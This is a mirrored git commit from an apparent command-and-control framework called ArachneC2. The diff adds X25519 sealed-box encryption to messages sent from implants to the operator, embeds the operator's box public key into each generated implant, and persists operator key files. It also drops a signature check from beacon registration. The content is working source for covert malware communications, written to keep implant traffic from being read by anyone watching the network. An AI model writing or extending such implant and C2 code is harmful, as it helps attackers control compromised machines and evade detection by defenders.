mirror of
https://github.com/portbuster1337/ArachneC2
synced 2026-06-14 08:40:53 +00:00
feat: encrypt implant-to-operator payloads with NaCl box
Add X25519 box keypair (operator.boxkey/operator.boxpub) for end-to-end encryption of all implant->operator message Data fields via box.SealAnonymous. Prevents eavesdropping on GossipSub traffic. - Encrypt env.Data before signing in sendEnvelopeDirect and SignAndSend - Build local wire envelope in sendEnvelopeDirect (avoids mutating caller's env on send failure, preventing double-encryption on PubSub fallback) - Serialize beacon stream writes with beaconWriteMu mutex - Decrypt in operator handleMessage before dispatching to handlers - Embed box pubkey in implant during arachne generate - Generate box keys on first operator run, persist to disk - Add stub files for development compilation
This commit is contained in:
+1
-2
@@ -10,9 +10,8 @@ build/
|
|||||||
*.test
|
*.test
|
||||||
*.out
|
*.out
|
||||||
.DS_Store
|
.DS_Store
|
||||||
implant/core/embedded_pubkey.go
|
|
||||||
implant/core/embedded_implant_key.go
|
|
||||||
implant/core/*_stub.go
|
implant/core/*_stub.go
|
||||||
server/core/embedsrc/implant_src/
|
server/core/embedsrc/implant_src/
|
||||||
|
server/core/embedsrc/implant_src.tar.gz
|
||||||
bin/
|
bin/
|
||||||
release/
|
release/
|
||||||
|
|||||||
@@ -60,6 +60,12 @@ package core
|
|||||||
var embeddedImplantPrivKey = []byte{}
|
var embeddedImplantPrivKey = []byte{}
|
||||||
GOEOF
|
GOEOF
|
||||||
|
|
||||||
|
cat > "$EMBED_DIR/implant_src/implant/core/embedded_boxpubkey.go" << 'GOEOF'
|
||||||
|
// Code generated by arachne generate. DO NOT EDIT.
|
||||||
|
package core
|
||||||
|
var embeddedOperatorBoxPubKey = []byte{}
|
||||||
|
GOEOF
|
||||||
|
|
||||||
# Prune files not needed for compilation
|
# Prune files not needed for compilation
|
||||||
find "$EMBED_DIR/implant_src" -name "*.proto" -type f -delete
|
find "$EMBED_DIR/implant_src" -name "*.proto" -type f -delete
|
||||||
find "$EMBED_DIR/implant_src" -name "*_test.go" -type f -delete
|
find "$EMBED_DIR/implant_src" -name "*_test.go" -type f -delete
|
||||||
|
|||||||
+41
-7
@@ -37,14 +37,16 @@ type Agent struct {
|
|||||||
messenger *transport.Messenger
|
messenger *transport.Messenger
|
||||||
keys *cryptography.ImplantKey
|
keys *cryptography.ImplantKey
|
||||||
operatorPub crypto.PubKey
|
operatorPub crypto.PubKey
|
||||||
|
boxPubKey *[32]byte
|
||||||
config AgentConfig
|
config AgentConfig
|
||||||
ctx context.Context
|
ctx context.Context
|
||||||
cancel context.CancelFunc
|
cancel context.CancelFunc
|
||||||
connected bool
|
connected bool
|
||||||
connectedMu sync.Mutex
|
connectedMu sync.Mutex
|
||||||
wg sync.WaitGroup
|
wg sync.WaitGroup
|
||||||
beaconStream network.Stream
|
beaconStream network.Stream
|
||||||
beaconMu sync.Mutex
|
beaconMu sync.Mutex
|
||||||
|
beaconWriteMu sync.Mutex
|
||||||
}
|
}
|
||||||
|
|
||||||
type AgentConfig struct {
|
type AgentConfig struct {
|
||||||
@@ -76,6 +78,15 @@ func loadOperatorPubKey() (crypto.PubKey, error) {
|
|||||||
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
|
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func loadOperatorBoxPubKey() *[32]byte {
|
||||||
|
if len(embeddedOperatorBoxPubKey) != 32 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var key [32]byte
|
||||||
|
copy(key[:], embeddedOperatorBoxPubKey)
|
||||||
|
return &key
|
||||||
|
}
|
||||||
|
|
||||||
func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) {
|
func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) {
|
||||||
if len(embeddedImplantPrivKey) == 0 {
|
if len(embeddedImplantPrivKey) == 0 {
|
||||||
return nil, fmt.Errorf("no embedded implant private key — rebuild with arachne generate")
|
return nil, fmt.Errorf("no embedded implant private key — rebuild with arachne generate")
|
||||||
@@ -131,16 +142,19 @@ func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
|
|||||||
return nil, fmt.Errorf("create node: %w", err)
|
return nil, fmt.Errorf("create node: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
boxPub := loadOperatorBoxPubKey()
|
||||||
|
|
||||||
a := &Agent{
|
a := &Agent{
|
||||||
keys: keys,
|
keys: keys,
|
||||||
operatorPub: operatorPub,
|
operatorPub: operatorPub,
|
||||||
|
boxPubKey: boxPub,
|
||||||
node: node,
|
node: node,
|
||||||
config: cfg,
|
config: cfg,
|
||||||
ctx: ctx,
|
ctx: ctx,
|
||||||
cancel: cancel,
|
cancel: cancel,
|
||||||
}
|
}
|
||||||
|
|
||||||
a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub)
|
a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub, a.boxPubKey)
|
||||||
a.messenger.SetHandler(a.handleCommand)
|
a.messenger.SetHandler(a.handleCommand)
|
||||||
|
|
||||||
return a, nil
|
return a, nil
|
||||||
@@ -589,7 +603,23 @@ func (a *Agent) openBeaconStream(operatorID peer.ID) (network.Stream, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error {
|
func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error {
|
||||||
signingData, err := transport.EnvelopeSigningBytes(env)
|
var data []byte
|
||||||
|
if a.boxPubKey != nil && len(env.Data) > 0 {
|
||||||
|
encrypted, err := cryptography.EncryptMessage(env.Data, a.boxPubKey)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("encrypt: %w", err)
|
||||||
|
}
|
||||||
|
data = encrypted
|
||||||
|
} else {
|
||||||
|
data = env.Data
|
||||||
|
}
|
||||||
|
|
||||||
|
wireEnv := &apb.Envelope{
|
||||||
|
ID: env.ID,
|
||||||
|
Type: env.Type,
|
||||||
|
Data: data,
|
||||||
|
}
|
||||||
|
signingData, err := transport.EnvelopeSigningBytes(wireEnv)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("marshal signing data: %w", err)
|
return fmt.Errorf("marshal signing data: %w", err)
|
||||||
}
|
}
|
||||||
@@ -597,10 +627,10 @@ func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("sign: %w", err)
|
return fmt.Errorf("sign: %w", err)
|
||||||
}
|
}
|
||||||
env.Signature = sig
|
wireEnv.Signature = sig
|
||||||
pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic())
|
pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic())
|
||||||
if err == nil {
|
if err == nil {
|
||||||
env.SenderKey = pubBytes
|
wireEnv.SenderKey = pubBytes
|
||||||
}
|
}
|
||||||
|
|
||||||
s := a.getBeaconStream(operatorID)
|
s := a.getBeaconStream(operatorID)
|
||||||
@@ -608,10 +638,14 @@ func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error
|
|||||||
return fmt.Errorf("nil beacon stream")
|
return fmt.Errorf("nil beacon stream")
|
||||||
}
|
}
|
||||||
|
|
||||||
envData, err := proto.Marshal(env)
|
envData, err := proto.Marshal(wireEnv)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("marshal: %w", err)
|
return fmt.Errorf("marshal: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
a.beaconWriteMu.Lock()
|
||||||
|
defer a.beaconWriteMu.Unlock()
|
||||||
|
|
||||||
s.SetWriteDeadline(time.Now().Add(5 * time.Second))
|
s.SetWriteDeadline(time.Now().Add(5 * time.Second))
|
||||||
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
|
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
|
||||||
s.Close()
|
s.Close()
|
||||||
|
|||||||
@@ -0,0 +1,4 @@
|
|||||||
|
// Code generated by arachne generate. DO NOT EDIT.
|
||||||
|
package core
|
||||||
|
|
||||||
|
var embeddedOperatorBoxPubKey = []byte{}
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
// Code generated by arachne generate. DO NOT EDIT.
|
||||||
|
package core
|
||||||
|
|
||||||
|
var embeddedOperatorPubKey = []byte{}
|
||||||
@@ -10,6 +10,8 @@ import (
|
|||||||
|
|
||||||
"github.com/libp2p/go-libp2p/core/crypto"
|
"github.com/libp2p/go-libp2p/core/crypto"
|
||||||
"github.com/libp2p/go-libp2p/core/peer"
|
"github.com/libp2p/go-libp2p/core/peer"
|
||||||
|
"golang.org/x/crypto/curve25519"
|
||||||
|
"golang.org/x/crypto/nacl/box"
|
||||||
)
|
)
|
||||||
|
|
||||||
type KeyPair struct {
|
type KeyPair struct {
|
||||||
@@ -17,17 +19,47 @@ type KeyPair struct {
|
|||||||
PublicKey crypto.PubKey
|
PublicKey crypto.PubKey
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type BoxKeyPair struct {
|
||||||
|
PrivateKey *[32]byte
|
||||||
|
PublicKey *[32]byte
|
||||||
|
}
|
||||||
|
|
||||||
type OperatorKey struct {
|
type OperatorKey struct {
|
||||||
KeyPair
|
KeyPair
|
||||||
PeerID peer.ID
|
PeerID peer.ID
|
||||||
|
BoxKeys *BoxKeyPair
|
||||||
}
|
}
|
||||||
|
|
||||||
type ImplantKey struct {
|
type ImplantKey struct {
|
||||||
KeyPair
|
KeyPair
|
||||||
PeerID peer.ID
|
PeerID peer.ID
|
||||||
OperatorPubKey crypto.PubKey
|
OperatorPubKey crypto.PubKey
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func GenerateBoxKey() (*BoxKeyPair, error) {
|
||||||
|
pub, priv, err := box.GenerateKey(rand.Reader)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("generate box key: %w", err)
|
||||||
|
}
|
||||||
|
return &BoxKeyPair{PrivateKey: priv, PublicKey: pub}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func LoadBoxKey(data []byte) *BoxKeyPair {
|
||||||
|
var priv [32]byte
|
||||||
|
copy(priv[:], data)
|
||||||
|
pub, err := curve25519.X25519(priv[:], curve25519.Basepoint)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var pubArr [32]byte
|
||||||
|
copy(pubArr[:], pub)
|
||||||
|
return &BoxKeyPair{PrivateKey: &priv, PublicKey: &pubArr}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kp *BoxKeyPair) Marshal() []byte {
|
||||||
|
return kp.PrivateKey[:]
|
||||||
|
}
|
||||||
|
|
||||||
func GenerateOperatorKey() (*OperatorKey, error) {
|
func GenerateOperatorKey() (*OperatorKey, error) {
|
||||||
priv, pub, err := crypto.GenerateEd25519Key(rand.Reader)
|
priv, pub, err := crypto.GenerateEd25519Key(rand.Reader)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -37,9 +69,14 @@ func GenerateOperatorKey() (*OperatorKey, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("peer id from pubkey: %w", err)
|
return nil, fmt.Errorf("peer id from pubkey: %w", err)
|
||||||
}
|
}
|
||||||
|
boxKeys, err := GenerateBoxKey()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("generate box key: %w", err)
|
||||||
|
}
|
||||||
return &OperatorKey{
|
return &OperatorKey{
|
||||||
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
|
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
|
||||||
PeerID: pid,
|
PeerID: pid,
|
||||||
|
BoxKeys: boxKeys,
|
||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -100,7 +137,20 @@ type ReadWriter struct {
|
|||||||
io.Writer
|
io.Writer
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func BoxKeyPath(dir string) string {
|
||||||
|
return filepath.Join(dir, "operator.boxkey")
|
||||||
|
}
|
||||||
|
|
||||||
|
func BoxPubKeyPath(dir string) string {
|
||||||
|
return filepath.Join(dir, "operator.boxpub")
|
||||||
|
}
|
||||||
|
|
||||||
func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
|
func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
|
||||||
|
dir := filepath.Dir(path)
|
||||||
|
if err := os.MkdirAll(dir, 0700); err != nil {
|
||||||
|
return nil, fmt.Errorf("create key directory: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
data, err := os.ReadFile(path)
|
data, err := os.ReadFile(path)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
priv, err := LoadPrivateKey(data)
|
priv, err := LoadPrivateKey(data)
|
||||||
@@ -112,9 +162,24 @@ func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("peer id from loaded key: %w", err)
|
return nil, fmt.Errorf("peer id from loaded key: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
boxPrivData, boxErr := os.ReadFile(BoxKeyPath(dir))
|
||||||
|
var boxKeys *BoxKeyPair
|
||||||
|
if boxErr == nil && len(boxPrivData) == 32 {
|
||||||
|
boxKeys = LoadBoxKey(boxPrivData)
|
||||||
|
}
|
||||||
|
if boxKeys == nil {
|
||||||
|
boxKeys, boxErr = GenerateBoxKey()
|
||||||
|
if boxErr == nil {
|
||||||
|
os.WriteFile(BoxKeyPath(dir), boxKeys.Marshal(), 0600)
|
||||||
|
os.WriteFile(BoxPubKeyPath(dir), boxKeys.BoxPubKeyBytes(), 0644)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return &OperatorKey{
|
return &OperatorKey{
|
||||||
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
|
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
|
||||||
PeerID: pid,
|
PeerID: pid,
|
||||||
|
BoxKeys: boxKeys,
|
||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -132,17 +197,45 @@ func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
|
|||||||
return nil, fmt.Errorf("marshal key: %w", err)
|
return nil, fmt.Errorf("marshal key: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := os.MkdirAll(filepath.Dir(path), 0700); err != nil {
|
|
||||||
return nil, fmt.Errorf("create key directory: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := os.WriteFile(path, marshaled, 0600); err != nil {
|
if err := os.WriteFile(path, marshaled, 0600); err != nil {
|
||||||
return nil, fmt.Errorf("write key to %s: %w", path, err)
|
return nil, fmt.Errorf("write key to %s: %w", path, err)
|
||||||
}
|
}
|
||||||
|
if err := os.WriteFile(BoxKeyPath(dir), key.BoxKeys.Marshal(), 0600); err != nil {
|
||||||
|
return nil, fmt.Errorf("write box key: %w", err)
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(BoxPubKeyPath(dir), key.BoxKeys.BoxPubKeyBytes(), 0644); err != nil {
|
||||||
|
return nil, fmt.Errorf("write box pubkey: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
return key, nil
|
return key, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (kp *BoxKeyPair) BoxPubKeyBytes() []byte {
|
||||||
|
return kp.PublicKey[:]
|
||||||
|
}
|
||||||
|
|
||||||
|
func EncryptMessage(plaintext []byte, boxPub *[32]byte) ([]byte, error) {
|
||||||
|
if len(plaintext) == 0 {
|
||||||
|
return plaintext, nil
|
||||||
|
}
|
||||||
|
sealed, err := box.SealAnonymous(nil, plaintext, boxPub, rand.Reader)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("seal anonymous: %w", err)
|
||||||
|
}
|
||||||
|
return sealed, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecryptMessage(ciphertext []byte, boxKeys *BoxKeyPair) ([]byte, error) {
|
||||||
|
if len(ciphertext) == 0 {
|
||||||
|
return ciphertext, nil
|
||||||
|
}
|
||||||
|
opened, ok := box.OpenAnonymous(nil, ciphertext, boxKeys.PublicKey, boxKeys.PrivateKey)
|
||||||
|
if !ok {
|
||||||
|
return nil, fmt.Errorf("open sealed box failed")
|
||||||
|
}
|
||||||
|
return opened, nil
|
||||||
|
}
|
||||||
|
|
||||||
func (k *OperatorKey) HexPeerID() string {
|
func (k *OperatorKey) HexPeerID() string {
|
||||||
return hex.EncodeToString([]byte(k.PeerID))
|
return hex.EncodeToString([]byte(k.PeerID))
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ type Messenger struct {
|
|||||||
privKey crypto.PrivKey
|
privKey crypto.PrivKey
|
||||||
operatorID peer.ID
|
operatorID peer.ID
|
||||||
trustedPubKey crypto.PubKey
|
trustedPubKey crypto.PubKey
|
||||||
|
boxPubKey *[32]byte
|
||||||
knownImplants map[string]crypto.PubKey
|
knownImplants map[string]crypto.PubKey
|
||||||
mu sync.RWMutex
|
mu sync.RWMutex
|
||||||
seenIDs map[int64]time.Time
|
seenIDs map[int64]time.Time
|
||||||
@@ -76,7 +77,7 @@ func NewOperatorMessenger(ctx context.Context, node *Node, keys *cryptography.Op
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey) *Messenger {
|
func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey, boxPubKey *[32]byte) *Messenger {
|
||||||
opID, err := peer.IDFromPublicKey(operatorPub)
|
opID, err := peer.IDFromPublicKey(operatorPub)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
opID = peer.ID("")
|
opID = peer.ID("")
|
||||||
@@ -86,6 +87,7 @@ func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.Imp
|
|||||||
privKey: keys.PrivateKey,
|
privKey: keys.PrivateKey,
|
||||||
operatorID: opID,
|
operatorID: opID,
|
||||||
trustedPubKey: operatorPub,
|
trustedPubKey: operatorPub,
|
||||||
|
boxPubKey: boxPubKey,
|
||||||
knownImplants: make(map[string]crypto.PubKey),
|
knownImplants: make(map[string]crypto.PubKey),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -261,6 +263,15 @@ func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *apb.Enve
|
|||||||
if m.privKey == nil {
|
if m.privKey == nil {
|
||||||
return fmt.Errorf("no private key for signing")
|
return fmt.Errorf("no private key for signing")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if m.boxPubKey != nil && len(env.Data) > 0 {
|
||||||
|
encrypted, err := cryptography.EncryptMessage(env.Data, m.boxPubKey)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("encrypt: %w", err)
|
||||||
|
}
|
||||||
|
env.Data = encrypted
|
||||||
|
}
|
||||||
|
|
||||||
signingData, err := EnvelopeSigningBytes(env)
|
signingData, err := EnvelopeSigningBytes(env)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("marshal signing data: %w", err)
|
return fmt.Errorf("marshal signing data: %w", err)
|
||||||
|
|||||||
+17
-2
@@ -67,6 +67,12 @@ func BuildImplant(cfg GenerateConfig) error {
|
|||||||
return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
|
return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
arachneDir := filepath.Dir(cfg.PubKeyPath)
|
||||||
|
boxPubData, _ := os.ReadFile(filepath.Join(arachneDir, "operator.boxpub"))
|
||||||
|
if len(boxPubData) != 32 {
|
||||||
|
return fmt.Errorf("read box pubkey (operator.boxpub): operator must run once to generate box keypair")
|
||||||
|
}
|
||||||
|
|
||||||
implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
|
implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("generate implant key: %w", err)
|
return fmt.Errorf("generate implant key: %w", err)
|
||||||
@@ -78,7 +84,7 @@ func BuildImplant(cfg GenerateConfig) error {
|
|||||||
implantPeerID, _ := peer.IDFromPublicKey(implantPub)
|
implantPeerID, _ := peer.IDFromPublicKey(implantPub)
|
||||||
log.Printf("implant PeerID: %s", implantPeerID.String())
|
log.Printf("implant PeerID: %s", implantPeerID.String())
|
||||||
|
|
||||||
buildDir, err := prepareBuildDir(pubData, privBytes, cfg.Quiet)
|
buildDir, err := prepareBuildDir(pubData, boxPubData, privBytes, cfg.Quiet)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("prepare build directory: %w", err)
|
return fmt.Errorf("prepare build directory: %w", err)
|
||||||
}
|
}
|
||||||
@@ -167,19 +173,25 @@ func BuildImplant(cfg GenerateConfig) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func prepareBuildDir(pubKeyData, privKeyData []byte, quiet bool) (string, error) {
|
func prepareBuildDir(pubKeyData, boxPubKeyData, privKeyData []byte, quiet bool) (string, error) {
|
||||||
dir, err := os.MkdirTemp("", "arachne-build-*")
|
dir, err := os.MkdirTemp("", "arachne-build-*")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", fmt.Errorf("create temp dir: %w", err)
|
return "", fmt.Errorf("create temp dir: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
pubLiteral := bytesLiteral(pubKeyData)
|
pubLiteral := bytesLiteral(pubKeyData)
|
||||||
|
boxPubLiteral := bytesLiteral(boxPubKeyData)
|
||||||
privLiteral := bytesLiteral(privKeyData)
|
privLiteral := bytesLiteral(privKeyData)
|
||||||
pubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
|
pubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
|
||||||
package core
|
package core
|
||||||
|
|
||||||
var embeddedOperatorPubKey = %s
|
var embeddedOperatorPubKey = %s
|
||||||
`, pubLiteral)
|
`, pubLiteral)
|
||||||
|
boxPubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
|
||||||
|
package core
|
||||||
|
|
||||||
|
var embeddedOperatorBoxPubKey = %s
|
||||||
|
`, boxPubLiteral)
|
||||||
keyContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
|
keyContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
|
||||||
package core
|
package core
|
||||||
|
|
||||||
@@ -198,6 +210,9 @@ var embeddedImplantPrivKey = %s
|
|||||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
|
if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
|
||||||
return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
|
return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
|
||||||
}
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(boxPubContent), 0644); err != nil {
|
||||||
|
return "", fmt.Errorf("write embedded_boxpubkey.go: %w", err)
|
||||||
|
}
|
||||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
|
if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
|
||||||
return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
|
return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -205,6 +205,13 @@ func (o *Operator) discoverPeersLoop(ns string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
|
func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
|
||||||
|
if len(env.Data) > 0 && o.keys.BoxKeys != nil {
|
||||||
|
decrypted, err := cryptography.DecryptMessage(env.Data, o.keys.BoxKeys)
|
||||||
|
if err == nil {
|
||||||
|
env.Data = decrypted
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
switch env.Type {
|
switch env.Type {
|
||||||
case transport.MsgTypeRegister:
|
case transport.MsgTypeRegister:
|
||||||
o.handleBeaconRegister(env)
|
o.handleBeaconRegister(env)
|
||||||
@@ -300,11 +307,6 @@ func (o *Operator) handleBeaconRegister(env *apb.Envelope) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := transport.VerifyEnvelope(env, pubKey); err != nil {
|
|
||||||
log.Printf("[operator] dropped beacon — invalid signature: %v", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
peerID, err := peer.IDFromPublicKey(pubKey)
|
peerID, err := peer.IDFromPublicKey(pubKey)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("[operator] peer id from sender key: %v", err)
|
log.Printf("[operator] peer id from sender key: %v", err)
|
||||||
|
|||||||
Reference in New Issue
Block a user